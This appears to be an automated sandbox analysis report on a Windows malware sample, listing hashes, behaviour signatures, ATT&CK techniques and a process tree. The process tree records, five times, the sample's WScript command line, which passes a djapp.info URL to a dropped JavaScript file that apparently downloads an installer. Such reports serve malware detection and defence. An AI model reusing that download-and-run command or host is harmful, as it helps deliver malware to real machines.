ca175a06f93dd9d3a0e8c56d24dbecaec86b14c248413d9b17225a404a8355d7

General

Target

289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe
Size

184KB
MD5

289d0201dc375d490e5f35b2ee7bbe53
SHA1

3b54d96e4a0967fb966f498edb4fa41ec293bd9c
SHA256

ca175a06f93dd9d3a0e8c56d24dbecaec86b14c248413d9b17225a404a8355d7
SHA512

f57c6816dabc6aff6e5bac9bda45f62a07a2b1ea8f500da98ee6d1f91e2b20afbb27121a9b623330199f634b6c0b75654df8e19b7816dcd203eb0e61250e3797
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3L:/7BSH8zUB+nGESaaRvoB7FJNndn+

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
9	3272	WScript.exe
22	3588	WScript.exe
38	4368	WScript.exe
45	1640	WScript.exe
46	1640	WScript.exe
49	2088	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2772	4948	WerFault.exe	89

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 3272	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	90
PID 4948 wrote to memory of 3272	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	90
PID 4948 wrote to memory of 3272	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	90
PID 4948 wrote to memory of 3588	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	96
PID 4948 wrote to memory of 3588	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	96
PID 4948 wrote to memory of 3588	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	96
PID 4948 wrote to memory of 4368	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	100
PID 4948 wrote to memory of 4368	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	100
PID 4948 wrote to memory of 4368	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	100
PID 4948 wrote to memory of 1640	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	101
PID 4948 wrote to memory of 1640	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	101
PID 4948 wrote to memory of 1640	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	101
PID 4948 wrote to memory of 2088	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	103
PID 4948 wrote to memory of 2088	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	103
PID 4948 wrote to memory of 2088	4948	289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\289d0201dc375d490e5f35b2ee7bbe53_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE416.js" http://www.djapp.info/?domain=VZkQEEdypg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=u6ynSIPiC3ZKH3W9qlRhdUwTBPqBQNfNmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQZrOhAp1zPM4OOGQb5d03CbJgWXz4unwfB6jcpK8fcRzKHVlwz C:\Users\Admin\AppData\Local\Temp\fufE416.exe
  2⤵
  - Blocklisted process makes network request
  PID:3272
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE416.js" http://www.djapp.info/?domain=VZkQEEdypg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=u6ynSIPiC3ZKH3W9qlRhdUwTBPqBQNfNmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQZrOhAp1zPM4OOGQb5d03CbJgWXz4unwfB6jcpK8fcRzKHVlwz C:\Users\Admin\AppData\Local\Temp\fufE416.exe
  2⤵
  - Blocklisted process makes network request
  PID:3588
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE416.js" http://www.djapp.info/?domain=VZkQEEdypg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=u6ynSIPiC3ZKH3W9qlRhdUwTBPqBQNfNmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQZrOhAp1zPM4OOGQb5d03CbJgWXz4unwfB6jcpK8fcRzKHVlwz C:\Users\Admin\AppData\Local\Temp\fufE416.exe
  2⤵
  - Blocklisted process makes network request
  PID:4368
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE416.js" http://www.djapp.info/?domain=VZkQEEdypg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=u6ynSIPiC3ZKH3W9qlRhdUwTBPqBQNfNmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQZrOhAp1zPM4OOGQb5d03CbJgWXz4unwfB6jcpK8fcRzKHVlwz C:\Users\Admin\AppData\Local\Temp\fufE416.exe
  2⤵
  - Blocklisted process makes network request
  PID:1640
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE416.js" http://www.djapp.info/?domain=VZkQEEdypg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=u6ynSIPiC3ZKH3W9qlRhdUwTBPqBQNfNmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQZrOhAp1zPM4OOGQb5d03CbJgWXz4unwfB6jcpK8fcRzKHVlwz C:\Users\Admin\AppData\Local\Temp\fufE416.exe
  2⤵
  - Blocklisted process makes network request
  PID:2088
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4948 -s 1448
  2⤵
  - Program crash
  PID:2772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1420 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:8
1⤵
PID:496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 4948 -ip 4948
1⤵
PID:3764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufE416.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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